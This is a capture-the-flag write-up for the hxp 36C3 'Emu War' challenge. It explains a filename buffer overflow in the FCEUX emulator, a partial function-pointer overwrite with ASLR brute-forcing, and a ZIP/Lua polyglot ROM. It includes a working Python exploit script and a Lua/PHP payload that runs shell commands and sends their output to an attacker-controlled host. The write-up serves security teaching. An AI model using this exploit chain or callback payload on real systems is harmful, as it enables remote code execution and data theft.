# hxp 36C3 CTF: Emu War
###### zahjebischte, pwn (unsolved)
> Time for an [Emu War](https://en.wikipedia.org/wiki/Emu_War).> > Pl0x upload your coolest ROMs, [here](https://2019.ctf.link/assets/files/zahjebischte-71a96b9be2208733.nes) is mine :>.>> ![An actual emu war](/assets/img/posts/63-emu_war/small-emu.jpg)>> Download: [Emu War-35eccd2af489ec05.tar.xz](https://2019.ctf.link/assets/files/Emu%20War-35eccd2af489ec05.tar.xz) (495.9 KiB)  > Connection: `http://78.47.138.71:65000/`
This challenge allows uploading ROMs to an online service. ROMs are stored ina per-user `files/$random_hex_string/` directory, as `category/name` (both ofwhich are not sanitized, but PHP applies `basename` to the filename itself).In theory, this allows path traversal, but the challenge setup should preventaccess to any critical information. However, we _can_ control the path that ispassed to the `thumbnail.sh` script.
`thumbnail.sh` seems like a lot, but all it really does is spawn `Xvfb`, launch`fceux` with the user-provided ROM, take a screenshot, and then clean up.
Within FCEUX, there are buffer overflows and calls to `strcpy` _everywhere_, sothere may well be solutions that differ a little, but that is OK. The referencesolution exploits a buffer overflow in `iNESLoad` (ines.cpp:900), where the pathof the ROM file (generally `argv[1]`) is copied without checks into the global`LoadedRomFName` buffer (which is only 2048 bytes large):
![Vulnerable part of the source code](/assets/img/posts/63-emu_war/source.png)
To get to that point, we need to supply a valid ROM in iNES format. Because thefilename is so long, we also overwrite a bunch of other globals and smash thestack in `FCEUI_LoadGameVirtual`, but the attack finishes before we return fromthat function, so the canary check is never triggered.
If the path is long enough, we overflow `LoadedRomFName` into the `iNESCart`global, which contains a function pointer as its first member(`CartInfo::Power`).
![Overflow into function pointer](/assets/img/posts/63-emu_war/source-fnptr.png)
After returning from `iNESLoad`, `FCEU_LoadGameVirtual` eventually calls`PowerNES()`, which calls `GameInterface(GI_POWER)`. `GameInterface` is aglobal function pointer that was set in `iNESLoad` to point to `iNESGI`, sothat we ultimately end up calling `iNES_ExecPower()`. That function sets up theemulator's memory and then calls `iNESCart.Power()`:
![iNES_ExecPower](/assets/img/posts/63-emu_war/source-ines-execpower.png)
To bypass ASLR, we only partially overwrite the pointer in `iNESCart.Power`. Bydefault, it points to the `LatchPower` function (from datalatch.cpp).
Because `strcpy` always writes the null byte, we are somewhat limited in thenumber of functions we can call without bruteforcing too many bits of ASLR state.We limit ourselves to 12 bits of bruteforcing (1 in 4096 attempts, which isreasonable). In particular, we can only reach 16 pages past the start of thepage on which the original function resides, but we can reach _backwards_ quite abit further.
This happens because we assume that our target function is in a range of pageswith an address scheme of `00????`. If the target is supposed to be _after_ theoriginal value, there are at most `0xffff` locations for the original address(where everything except for the last two bytes are the same), and I could notfind anything useful there. On the other hand, if we want the target to be_before_ the original value, we can overwrite the third byte with the null bytewithout any issues as long as the difference between what would map to `000000`(close to our target) and the original function is less than `0x1000000` - afactor of 256 more.
The best target that I found is FCEUX's Lua support. FCEUX runs a Lua script bycalling `FCEU_LoadLuaCode`, but that requires a path in `rdi`. We can, however,jump into the middle of `FCEU_ReloadLuaCode` to load and run a piece of Lua codein a file named `\xbe` (in bash, you can instead use `$'\276'`):
```x86asm; iNES_ExecPowercall rax
; FCEU_ReloadLuaCodemov rsi, 0mov rdi, raxcall FCEU_LoadLuaCode```
This works because the byte representation of the `mov rsi, 0` instruction is`be 00 00 00 00`, and `rax` still points to that location. Other calls to`FCEU_LoadLuaCode` follow exactly the same sequence, but are generally placed_after_ the `LatchPower` function, so we cannot reach them. In our build, thejump target is at `0x957dd`, so we end our (overflowing) path with the bytesequence `dd 87` (which is also a valid UTF-8 character, in case that causestrouble). For reference, `LatchPower` is at `0xb7be3`.
Finally, use Lua's `os.execute` to obtain the flag (`cat /flag_*`) and leak theresult. As far as I could tell, the version of Lua inside FCEUX does not supportnetwork operations, but we know that PHP is installed on the server, so we canuse `file_get_contents` to connect back to a server controlled by the attacker:
```luarequire('os');os.execute('php -r \'file_get_contents("http://192.0.2.42:65000/".urlencode(`cat /flag*`));\'');```
The only thing missing is to find a way to keep the `\xbe` file on the server.Clearly, we cannot simply upload the Lua script (trying to take a screenshotwould fail, so the server will remove an invalid ROM), so you need to create afile that is both valid Lua code _and_ accepted as a ROM by FCEUX. An easy wayto do this is to (ab)use FCEUX's ability to extract ROMs from ZIP files (seethe `TryUnzip` function at file.cpp:189):
- Wrap the Lua script in a way that the rest of the ZIP file is commented out  (e.g. start with `--]]` and end with `--[[`)- Store (i.e. without compression) both this Lua script and a valid ROM in a  ZIP file (e.g. using Python's `zipfile` module)- Wrap the resulting ZIP file in `--[[` and `--]]` to comment out everything  that is not the Lua script. This breaks some of the length fields inside the  ZIP file, but FCEUX doesn't really care about that. Here is the full exploit code (you need to provide a valid NES ROM to `-r`; ifyou do not have access to one, you can use the ROM provided in the challengedescription):
```python#!/usr/bin/env python3
import argparseimport enumimport http.serverimport ioimport osimport randomimport socketimport stringimport sysimport threadingimport timeimport urllib.parseimport zipfile
def as_http(string):    return textwrap.dedent(string).lstrip('\n').encode().replace(b'\n', b'\r\n')
def random_token():    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))
class upload_status:    OK = 0    THUMBNAILER_FAILED = 1    OTHER_ERROR = 2
def upload(rhost, rport, content, category, filename, phpsessid, mime='application/x-nes-rom'):    boundary = random_token() # Literally whatever...    with socket.socket(socket.AF_INET) as so:        so.connect((rhost, rport))        content = b'--' + boundary.encode() + b'\r\n' + \                  b'Content-Disposition: form-data; name="category"\r\n' + \                  b'\r\n' + \                  category + b'\r\n' + \                  b'--' + boundary.encode() + b'\r\n' + \                  b'Content-Disposition: form-data; name="rom"; filename="' + filename + b'"\r\n' + \                  b'Content-Type: ' + mime.encode() + b'\r\n' + \                  b'\r\n' + \                  content + b'\r\n' + \                  b'--' + boundary.encode() + b'--\r\n'
        request = b'POST / HTTP/1.1\r\n' + \                  b'Host: ' + rhost.encode() + b':' + str(rport).encode() + b'\r\n' + \                  b'Cookie: PHPSESSID=' + phpsessid.encode() + b'\r\n' + \                  b'User-Agent: hxp/3.14\r\n' + \                  b'Accept: */*\r\n' + \                  b'Content-Length: ' + str(len(content)).encode() + b'\r\n' + \                  b'Content-Type: multipart/form-data; boundary=' + boundary.encode() + b'\r\n' + \                  b'\r\n' + \                  content
        so.sendall(request)        response = so.recv(4096)
        if response.startswith(b'HTTP/1.1 302 Found\r\n'): # Redirects on success            return upload_status.OK, response        elif b'failed to create thumbnail' in response:            return upload_status.THUMBNAILER_FAILED, response        else:            return upload_status.OTHER_ERROR, response
done_event = threading.Event()print_lock = threading.Lock()class Handler(http.server.BaseHTTPRequestHandler):    def respond(self):        self.send_response(204)        self.send_header('Content-Length', '0')        self.end_headers()        with print_lock:            print('[*] Handling request from', self.address_string(), file=sys.stderr)        print(urllib.parse.unquote(self.path.lstrip('/')))        done_event.set()    def log_message(self, *args, **kwargs):        pass # No logging by default.    do_HEAD = respond    do_GET = respond
p = argparse.ArgumentParser()p.add_argument('-R', '--rhost', help='Address of the target (remote) host', default='localhost')p.add_argument('-p', '--rport', help='Port on the target (remote) host', default=8019, type=int)p.add_argument('-L', '--lhost', help='Address of the listening host from the remote target', default='127.0.0.1')p.add_argument('-P', '--lport', help='Listening port on the local PC', default=38019, type=int)p.add_argument('-S', '--shost', help='Address to listen on (i.e. the local address of the local host on the accessible interface)', default='0.0.0.0')p.add_argument('-c', '--command', help='Command to execute', default='cat /flag_*')p.add_argument('-r', '--rom', help='Valid iNES source ROM', default='zahjebischte.nes')p.add_argument('-j', '--threads', help='Number of request threads to run simultaneously', default=8, type=int)args = p.parse_args()
# Create upload pathDESIRED_LENGTH = 2146 # This length leads to the correct overflow sizeupload_name = b'\xdd\x87' # Overflow is in the category name, because maximum filename length is 255.path_length = len(b'/var/www/html/files/') + 64 + len(b'/') + len(b'/' + upload_name) # This is server-generated, with the category name between the last two slashescategory_base = b'Pwning'category_name = category_basewhile len(category_name) < (DESIRED_LENGTH - path_length):    category_name += b'/'print('[*] Path length is', len(b'/var/www/html/files/28edb8be371e48f6a178bfe05fef4f591571a37f81e393296cf4be9e5f7bdea8/' + category_name + b'/' + upload_name), file=sys.stderr)with open(args.rom, 'rb') as rom_file:    rom = rom_file.read()
# Create polyglotpolyglot = io.BytesIO()lua_pwn = f"""\n--]]\nrequire('os');os.execute('php -r \\'file_get_contents("http://{args.lhost}:{args.lport}/".urlencode(`{args.command}`));\\'');\n--[[\n"""with zipfile.ZipFile(polyglot, mode='w', compression=zipfile.ZIP_STORED) as zf:    zf.writestr("pwn.lua", lua_pwn.encode())    zf.write(args.rom, arcname=os.path.basename(args.rom))polyglot = b'--[[\n' + polyglot.getvalue() + b'\n--]]\n'
# Start serverserver = http.server.ThreadingHTTPServer((args.shost, args.lport), Handler)server_thread = threading.Thread(target=server.serve_forever)server_thread.start()
# Runindex = 1index_lock = threading.Lock()def run(thread_id):    global index    rate = args.threads / 6 # 8 requests per second, but leave some space    age = 0    while not done_event.is_set():        with index_lock:            this_index = index            index += 1
        if this_index % 100 == 0:            with print_lock:                print('[*] Attempt', this_index, file=sys.stderr)
        attempt_start = time.perf_counter()        if attempt_start - age > 15 * 60:            # 15 minutes passed, change PHPSESSID and try again            phpsessid = random_token() # Whatever... Make the server use this as our session ID - has a valid format!            age = attempt_start            with print_lock:                print('[{}] PHPSESSID ='.format(thread_id), phpsessid, file=sys.stderr)            # Use category_base for this upload to actually make sure the ROM stays on the server.            status, response = upload(args.rhost, args.rport, polyglot, category_base, b'\xbe', phpsessid, 'application/zip')            if status != upload_status.OK:                print('[!] Failed to upload polyglot', file=sys.stderr)                print('[!] Response was', response, file=sys.stderr)                os._exit(1)
        status, response = upload(args.rhost, args.rport, rom, category_name, upload_name, phpsessid)        if status != upload_status.THUMBNAILER_FAILED:            with print_lock:                print('[!] Upload failed for attempt', this_index, file=sys.stderr)                print('[!] Response was', response, file=sys.stderr)        attempt_end = time.perf_counter()        wait_time = rate - (attempt_end - attempt_start)        if wait_time > 0:            time.sleep(wait_time)
threads = []for thread_id in range(args.threads - 1):    thread = threading.Thread(target=run, args=(thread_id + 1,))    threads.append(thread)    thread.start()run(args.threads) # Last thread is the main thread
for thread in threads:    thread.join()server.shutdown()server_thread.join()```
This will usually take a few thousand attempts, so spin it up, wait 15 minutes,and pick up your flag. Make sure, however, that you are actually listening andreachable for the back-connection (you can also listen on a server with `nc` andjust manually interrupt the exploit when the flag shows up there in case you donot have a public IP address):
```hxp{if_you_are_happy_and_you_know_it_use_strcpy}```